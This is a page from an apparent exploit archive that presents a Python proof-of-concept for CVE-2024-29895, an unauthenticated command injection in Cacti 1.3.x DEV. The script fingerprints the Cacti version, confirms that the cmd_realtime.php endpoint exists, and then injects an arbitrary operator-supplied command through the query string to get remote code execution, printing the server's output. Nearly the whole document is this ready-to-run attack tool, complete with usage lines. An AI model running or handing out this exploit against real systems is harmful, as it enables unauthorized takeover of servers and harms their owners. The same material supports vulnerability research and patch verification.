4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-29895.py PY
# CVE-2024-29895 - RCE in Cacti
#A command injection vulnerability allows any unauthenticated user to execute arbitrary command on the server when register_argc_argv option of PHP is On.
# http://target/cacti/cmd_realtime.php?1+1&&calc.exe+1+1+1

# Cacti (PHP)
# Affected versions:
# 1.3.x DEV

# Usage: python3 cve-2024-29895.py http://target.com:8080/ "id"
# Developed by @stuub

import requests
import argparse
import re
import urllib3
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

#ANSI Colors
red = "\033[91m"
green = "\033[92m"
yellow = "\033[93m"
purple = "\033[95m"
reset = "\033[0m"

def banner():
    print(f"""


 ▄████▄   ▄▄▄       ▄████▄  ▄▄▄█████▓ ██▓    ██▀███   ▄████▄  ▓█████ 
▒██▀ ▀█  ▒████▄    ▒██▀ ▀█  ▓  ██▒ ▓▒▓██▒   ▓██ ▒ ██▒▒██▀ ▀█  ▓█   ▀ 
▒▓█    ▄ ▒██  ▀█▄  ▒▓█    ▄ ▒ ▓██░ ▒░▒██▒   ▓██ ░▄█ ▒▒▓█    ▄ ▒███   
▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░ ▓██▓ ░ ░██░   ▒██▀▀█▄  ▒▓▓▄ ▄██▒▒▓█  ▄ 
▒ ▓███▀ ░ ▓█   ▓██▒▒ ▓███▀ ░  ▒██▒ ░ ░██░   ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
░ ░▒ ▒  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░  ▒ ░░   ░▓     ░ ▒▓ ░▒▓░░ ░▒ ▒  ░░░ ▒░ ░
  ░  ▒     ▒   ▒▒ ░  ░  ▒       ░     ▒ ░     ░▒ ░ ▒░  ░  ▒    ░ ░  ░
░          ░   ▒   ░          ░       ▒ ░     ░░   ░ ░           ░   
░ ░            ░  ░░ ░                ░        ░     ░ ░         ░  ░
░                  ░                                 ░               

                    {yellow}CVE-2024-29895 - RCE in Cacti 1.3.x DEV{reset}
                              {purple}Developed by @stuub{reset}
          """)
    
def get_cacti_version(url):
    try:
        response = requests.get(url, verify=False)
        patterns = [
            r"Cacti (\d+\.\d+\.\d+)",
            r"var cactiVersion='(\d+\.\d+\.\d+)'",
            r"Version (\d+\.\d+\.\d+)"
        ]
        for pattern in patterns:
            version = re.search(pattern, response.text)
            if version:
                return version.group(1)
        return None
    except requests.exceptions.RequestException as e:
        print(f"{red}[!]{reset} Request failed: {e}")
        return None

def validate(url):
    endpoint = "/cacti/cmd_realtime.php"
    url = url + endpoint
    print(f"{green}[*]{reset} Validating Target URL: {url}")
    response = requests.get(url, verify=False)

    if response.status_code == 200:
        print(f"{green}[*]{reset} Found Cacti installation")
        return True
    else:
        print(f"{red}[!]{reset} Endpoint not found")
        return False

def RCE(url, command):
    payload = url + "/cacti/cmd_realtime.php?1+1&&" + command + "+1+1+1"
    print (f"{green}[*]{reset} Targeting URL: {yellow}{payload}{reset}")
    try:
        response = requests.get(payload, verify=False)
    except requests.exceptions.RequestException as e:
        print(f"{red}[!]{reset} Request failed: {e}")
        return
    print(f"\n{green}[*]{reset} Response:")
    formatted = response.text.replace("<br>", "\n")
    print(formatted)


def main():
    parser = argparse.ArgumentParser(description="CVE-2024-29895 - RCE in Cacti")
    parser.add_argument('-u', '--url', help="URL of the target")
    parser.add_argument('-c', '--command', help="Command to execute")
    args = parser.parse_args()
    url = args.url
    parsedUrl = urlparse(url)
    strippedUrl = f"{parsedUrl.scheme}://{parsedUrl.netloc}"
    url = strippedUrl
    command = args.command

    version = get_cacti_version(url)
    if version:
        print(f"{green}[*]{reset} Found Cacti version: {version}")
        if not version.startswith('1.3.'):
            proceed = input(f"{yellow}[!]{reset} The detected Cacti version may not be vulnerable. Do you want to proceed? (y/n): ")
            if proceed.lower() != 'y':
                print(f"{red}[!]{reset} Exiting.")
                return
    else:
        print(f"{red}[!]{reset} Unable to determine Cacti version.")
        proceed = input(f"{yellow}[!]{reset} Do you want to proceed? (y/n): ")
        if proceed.lower() != 'y':
            print(f"{red}[!]{reset} Exiting.")
            return
    
    if url is None or command is None:
        print(f"{green}Usage:{reset} python3 cve-2024-29895.py http://target.com:8080/ -c 'id'")
        exit()
    
    if validate(url):
        RCE(url, command)

if __name__ == "__main__":
    banner()
    main()